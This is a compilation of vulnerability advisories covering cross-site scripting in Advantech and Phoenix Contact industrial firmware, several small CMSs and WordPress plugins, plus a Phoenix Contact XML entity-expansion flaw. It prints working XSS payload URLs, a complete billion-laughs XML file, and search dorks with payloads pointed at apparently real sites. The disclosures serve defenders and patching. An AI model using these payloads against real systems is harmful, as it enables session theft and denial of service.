Advantech EKI-1524-CE series, EKI-1522 series,and EKI-1521 series versions 1.21 and below and 1.24 and below suffer from cross site scripting vulnerabilities.

St. Pölten UAS  
-------------------------------------------------------------------------------  
               title| Multiple XSS in Advantech  
             product| Advantech EKI-1524-CE series, EKI-1522 series,  
                    | EKI-1521 series  
  vulnerable version| <=1.21 (CVE-2023-4202), <=1.24 (CVE-2023-4203)  
       fixed version| 1.26  
          CVE number| CVE-2023-4202, CVE-2023-4203  
              impact| Medium  
            homepage| https://advantech.com  
               found| 2023-05-04  
                  by| R. Haas, A. Resanovic, T. Etzenberger, M. Bineder  
                    | This vulnerability was discovery during research at  
                    | St. Pölten UAS, supported and coordinated by CyberDanube.  
                    |  
                    | https://fhstp.ac.at | https://cyberdanube.com  
-------------------------------------------------------------------------------

Vendor description  
-------------------------------------------------------------------------------  
“Advantech’s corporate vision is to enable an intelligent planet. The company  
is a global leader in the fields of IoT intelligent systems and embedded  
platforms. To embrace the trends of IoT, big data, and artificial intelligence,  
Advantech promotes IoT hardware and software solutions with the Edge  
Intelligence WISE-PaaS core to assist business partners and clients in  
connecting their industrial chains. Advantech is also working with business  
partners to co-create business ecosystems that accelerate the goal of  
industrial intelligence.”

Source: https://www.advantech.com/en/about

Vulnerable versions  
-------------------------------------------------------------------------------  
EKI-1524-CE series / 1.21 (CVE-2023-4202)  
EKI-1522-CE series / 1.21 (CVE-2023-4202)  
EKI-1521-CE series / 1.21 (CVE-2023-4202)

EKI-1524-CE series / 1.24 (CVE-2023-4203)  
EKI-1522-CE series / 1.24 (CVE-2023-4203)  
EKI-1521-CE series / 1.24 (CVE-2023-4203)

Vulnerability overview  
-------------------------------------------------------------------------------  
1) Stored Cross-Site Scripting (XSS) (CVE-2023-4202, CVE-2023-4203)  
Two stored cross-site scripting vulnerabilities has been identified in the  
firmware of the device. The first XSS was identified in the "Device Name" field  
and the second XSS was found in the "Ping" tool. This can be exploited in the  
context of a victim's session.

Proof of Concept  
-------------------------------------------------------------------------------  
1) Stored Cross-Site Scripting (XSS)  
Both cross-site scripting vulnerabilities are permanently affecting the device.

1.1) Stored XSS in Device Name CVE-2023-4202  
The first vulnerability can be triggerd by setting the device name  
("System->Device Name") to the following value:  
"><script>alert("document.cookie")</script>

This code prints out the cached cookies to the screen.

1.2) Stored XSS in Ping Function CVE-2023-4203  
The second XSS vulnerability can be found in "Tools->Ping". The following GET  
request prints the current cached cookies of a user's session to the screen.

http://$IP/cgi-bin/ping.sh?random_num=2013&ip=172.16.0.141%3b%20<script>alert(1)</script>&size=56&count=1&interface=eth0&_=1682793104513

An alternative to the used payload is using "onmouseover" event tags. In this  
case it prints out the number "1337":  
" onmousemove="alert(1337)"

The vulnerability was manually verified on an emulated device by using the  
MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).

Solution  
-------------------------------------------------------------------------------  
Upgrade to the newest available firmware.

Workaround  
-------------------------------------------------------------------------------  
None.

Recommendation  
-------------------------------------------------------------------------------  
Advantech customers are advised to upgrade the firware to the latest  
available version.

Contact Timeline  
-------------------------------------------------------------------------------  
2023-05-16: Contacting vendor via security contact.  
2023-05-24: Contact stated that issue 1.1) is solved after firmware v1.21.  
            The contact is trying to reproduce issue 1.2; Gave advice to  
            reproduce issue.  
2023-05-25: Contact stated that new firmware should resolve the issue.  
2023-06-03: Sent new payload to the vendor.  
2023-06-05: Vendor asked for clarification; Sent further explaination to the  
            contact; Vendor contact said he knows a solution.  
2023-06-22: Asked for an update; Contact stated that the beta firmware should  
            resolve the issues.  
2023-06-27: Asked for the release date.  
2023-07-04: Contact stated, that they are currently doing QA tests.  
2023-07-06: Asked if issue 1.1 is really resolved to be released; Vendor stated  
            that it can be published.  
2023-07-17: Assigned CVE numbers for the issues. Asked for an update.  
2023-07-18: Vendor contact stated that the firmware will be released end of  
            July.  
2023-08-07: Asked contact for the new firmware version.  
2023-08-08: Received version 1.26 as the official released firmware with fixes.  
            Coordinated release of security advisory.

Web: https://www.fhstp.ac.at/  
Twitter: https://twitter.com/fh_stpoelten  
Mail: mis at fhstp dot ac dot at

EOF T. Weber / @2023

Advantech EKI-1524-CE / EKI-1522 / EKI-1521 Cross Site Scripting

Phoenix Contact TC Router 3002T-4G* versions prior to 2.0.2, TC Cloud Client 1002-4G* versions prior to 2.07.2, and Cloud Client 1101T-TX/TX versions prior to 2.06.10 suffer from cross site scripting and memory consumption vulnerabilities.

    St. Pölten UAS-------------------------------------------------------------------------------               title| Multiple Vulnerabilities             product| Phoenix Contact TC Cloud Client 1002-4G*,                    | TC Router 3002T-4G, Cloud Client 1101T-TX/TX  vulnerable version| <2.07.2, <2.07.2, <2.06.10       fixed version| 2.07.2, 2.07.2, 2.06.10          CVE number| CVE-2023-3526, CVE-2023-3569              impact| Medium            homepage| https://www.phoenixcontact.com/               found| 2023-05-04                  by| A. Resanovic, S. Stockinger, T. Etzenberger                    | This vulnerability was discovery during research at                    | St. Pölten UAS, supported and coordinated by CyberDanube.                    |                    | https://fhstp.ac.at | https://cyberdanube.com-------------------------------------------------------------------------------Vendor description-------------------------------------------------------------------------------"At Phoenix Contact, our approach is innovative, sustainable, and based onpartnership. This applies to how we deal with employees as well as with ourcustomers. We are also conscious of our social and environmental responsibilityand we act accordingly. With the vision of the All Electric Society, we alsowant to empower our customers to act more sustainably by enabling thecomprehensive electrification, networking, and automation of all sectors of theeconomy and infrastructure with our products and solutions."Source: https://www.phoenixcontact.com/en-us/ueber-unsVulnerable versions-------------------------------------------------------------------------------TC Router 3002T-4G*        / <2.0.2TC Cloud Client 1002-4G*   / <2.07.2Cloud Client 1101T-TX/TX   / <2.06.10Vulnerability overview-------------------------------------------------------------------------------1) Reflected Cross-Site Scripting (XSS) CVE-2023-3526A reflected cross-site scripting vulnerability can be triggerd in the licenseviewer of the device. This can be used to execute malicious code in the contextof a user's browser. Cookies may be also stoled via this way.2) Excessive Memory Consumption (Billion Laughts Attack) CVE-2023-3569By abusing the configuration file upload functionality of the device, it ispossible to slow down all other processes.Proof of Concept-------------------------------------------------------------------------------1) Reflected Cross-Site Scripting (XSS) CVE-2023-3526The reflected cross-site scripting vulnerability can be triggered by using thefollowing GET request:https://$IP/cgi-bin/p/license?pkg=netsnmp&txt=15"><script>alert("document.cookie")</script>2) Excessive Memory Consumption (Billion Laughts Attack) CVE-2023-3569The following configuration file can be used to exploit the binary"/usr/bin/xmlconfig", which supportes entity reference nodes:﻿===============================================================================<?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)><!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol2"&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"><!ENTITY lol3"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><!ENTITY lol4"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"><!ENTITY lol5"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"><!ENTITY lol6"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"><!ENTITY lol7"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"><!ENTITY lol8"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"><!ENTITY lol9"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><lolz>&lol9;</lolz>===============================================================================The vulnerability was manually verified on an emulated device by using theMEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).Solution-------------------------------------------------------------------------------Update to the latest available firmware version.Workaround-------------------------------------------------------------------------------None.Recommendation-------------------------------------------------------------------------------Phoenix Contact customers are advised to upgrade the firware to the latestavailable version.Contact Timeline-------------------------------------------------------------------------------2023-05-16: Contacting vendor via psirt@phoenixcontact.com2023-05-17: Vendor informed internal product team.2023-05-18: Added responsible disclosure policy from St. Poelten UAS.2023-05-19: Vendor needs more time to fix the issues.2023-06-15: Vendor asked for an explaination of the issues as he cannot            reproduce them; Sent screenshots and more PoCs to the vendor.            Offered an MS Teams call to clarify the issues.2023-06-16: Scheduled a call for 2023-06-19.2023-06-19: Clarified issues and further timeline for the coordination.            Vendor proposed to release the firmware on 2023-07-13.2023-07-04: Contact stated that he has to shift the release after July. It            will be released on 08.08.2023; Confirmed the date.2023-07-13: Received CVE numbers from vendor.2023-07-18: Received firmware versions from vendor.2023-07-23:_Vendor released firmwares.2023-08-08: Coordinated release of security advisory.Web: https://www.fhstp.ac.at/Twitter: https://twitter.com/fh_stpoeltenMail: mis at fhstp dot ac dot atEOF T. Weber / @2023

Phoenix Contact TC Cloud / TC Router 2.x XSS / Memory Consumption

Education Time Indonesian School CRM version 1.7 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : Education Time Indonesian School CRM v 1.7 Xss Vulnerability                                                       || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            || # Vendor    : http://p30vel.ir                                                                                                   |  | # Dork      : "media.php?module=detailberita&id="                                                                                |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine .[+] use payload : /unit/spi/media.php?id=173%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(/ramadan%20mubark/)%3C/ScRiPt%3E&module=detailberita/unit/spi/media.php?id=173%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(908942)%3C/ScRiPt%3E&module=detailberita[+] http://wwumpalangkarayaacid//unit/spi/media.php?id=173%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(/ramadan%20mubark/)%3C/ScRiPt%3E&module=detailberita/unit/spi/media.php?id=173%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(908942)%3C/ScRiPt%3E&module=detailberitaGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Education Time Indonesian School CRM 1.7 Cross Site Scripting

Eden CMS version 1.02 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : Eden CMS v1.02 Xss Vulnerability                                                                                   || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            || # Vendor    : https://edendesign.be/fr/                                                                                          |  | # Dork      : intext:"Website by Eden Design"                                                                                    |====================================================================================================================================poc :[+]  Dorking İn Google Or Other Search Enggine .[+]  use payload : artist.php?lang_id=1%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(/indoushka/)%3C/ScRiPt%3E&post_id=352[+]  http://www/miniartextilit/artist.php?lang_id=1%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(/indoushka/)%3C/ScRiPt%3E&post_id=352        Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Eden CMS 1.02 Cross Site Scripting

EasyPX CMS version 06.02.04 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : EasyPX CMS V06.02.04 XSS Vulnerability                                                                             || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            || # Vendor    : http://www.domphp.com/                                                                                             || # Dork      : Site fonctionnant sous Easy PX 41 CMOS 06.02.04 © 2004 - 2006 Freeware                                             |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] This vulnerability affects : /tst/index.php    URL encoded POST input choixgalerie was set to 1" onmouseover=prompt(951655) bad="    The input is reflected inside a tag parameter between double quotes.    URL encoded POST input pg was set to system/fnc/readpg.php'"()&%<ScRiPt >prompt(940614)</ScRiPt>    URL encoded POST input pg was set to modules/login/inscription.php'"()&%<ScRiPt >prompt(904457)</ScRiPt>    URL encoded POST input pg_id was set to http://www.generation-libre.com/index2.php%3foption%3dcom_rss'"()&%<ScRiPt >prompt(920742)</ScRiPt>    URL encoded POST input pg_title was set to RSS'"()&%<ScRiPt >prompt(963497)</ScRiPt>Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

EasyPX CMS 06.02.04 Cross Site Scripting

Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Silvia Pfeiffer and Andrew Nimmo External Videos plugin <= 2.0.1 versions.

**Solution**

 No fix

No patched version is available. No reply from the vendor.

Mahesh Nagabhairava discovered and reported this Cross Site Scripting (XSS) vulnerability in WordPress External Videos Plugin. This could allow a malicious actor to inject malicious scripts, such as redirects, advertisements, and other HTML payloads into your website which will be executed when guests visit your site. This vulnerability has not been known to be fixed yet.

**No other known vulnerabilities for this plugin**Report

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-30752: WordPress External Videos plugin <= 2.0.1 - Cross Site Scripting (XSS) vulnerability - Patchstack

Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in iControlWP Article Directory Redux plugin <= 1.0.2 versions.

**Solution**

 No fix

No patched version is available. No reply from the vendor. This plugin has been closed as of March 8, 2023 and is not available for download. This closure is permanent.

Pavitra Tiwari discovered and reported this Cross Site Scripting (XSS) vulnerability in WordPress Article Directory Redux Plugin. This could allow a malicious actor to inject malicious scripts, such as redirects, advertisements, and other HTML payloads into your website which will be executed when guests visit your site. This vulnerability has not been known to be fixed yet.

**No other known vulnerabilities for this plugin**Report

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-30751: WordPress Article Directory Redux plugin <= 1.0.2 - Cross Site Scripting (XSS) vulnerability - Patchstack

Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in AdFoxly AdFoxly – Ad Manager, AdSense Ads & Ads.Txt plugin <= 1.8.5 versions.

**Solution**

 No fix

No patched version is available. No reply from the vendor.

Prasanna V Balaji discovered and reported this Cross Site Scripting (XSS) vulnerability in WordPress AdFoxly – Ad Manager, AdSense Ads & Ads.txt Plugin. This could allow a malicious actor to inject malicious scripts, such as redirects, advertisements, and other HTML payloads into your website which will be executed when guests visit your site. This vulnerability has not been known to be fixed yet.

**Other vulnerabilities in this plugin**

 1 present

 3 patched

View all

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-30754: WordPress AdFoxly – Ad Manager, AdSense Ads & Ads.txt plugin <= 1.8.5 - Cross Site Scripting (XSS) vulnerability - Patchstack

Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in ihomefinder Optima Express + MarketBoost IDX Plugin plugin <= 7.3.0 versions.

**Solution**

 Fixed

Update the WordPress Optima Express + MarketBoost IDX Plugin plugin to the latest available version (at least 7.3.1).

Found this useful? Thank yuyudhn for reporting this vulnerability. Buy a coffee ☕

yuyudhn discovered and reported this Cross Site Scripting (XSS) vulnerability in WordPress Optima Express + MarketBoost IDX Plugin Plugin. This could allow a malicious actor to inject malicious scripts, such as redirects, advertisements, and other HTML payloads into your website which will be executed when guests visit your site. This vulnerability has been fixed in version 7.3.1.

**No other known vulnerabilities for this plugin**Report

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-30749: WordPress Optima Express + MarketBoost IDX Plugin plugin <= 7.3.0 - Cross Site Scripting (XSS) - Patchstack

Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in I Thirteen Web Solution Email Subscription Popup plugin <= 1.2.16 versions.

**Solution**

 Fixed

Update the WordPress Email Subscription Popup plugin to the latest available version (at least 1.2.17).

Found this useful? Thank minhtuanact for reporting this vulnerability. Buy a coffee ☕

minhtuanact discovered and reported this Cross Site Scripting (XSS) vulnerability in WordPress Email Subscription Popup Plugin. This could allow a malicious actor to inject malicious scripts, such as redirects, advertisements, and other HTML payloads into your website which will be executed when guests visit your site. This vulnerability has been fixed in version 1.2.17.

**No other known vulnerabilities for this plugin**Report

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

Tag

#xss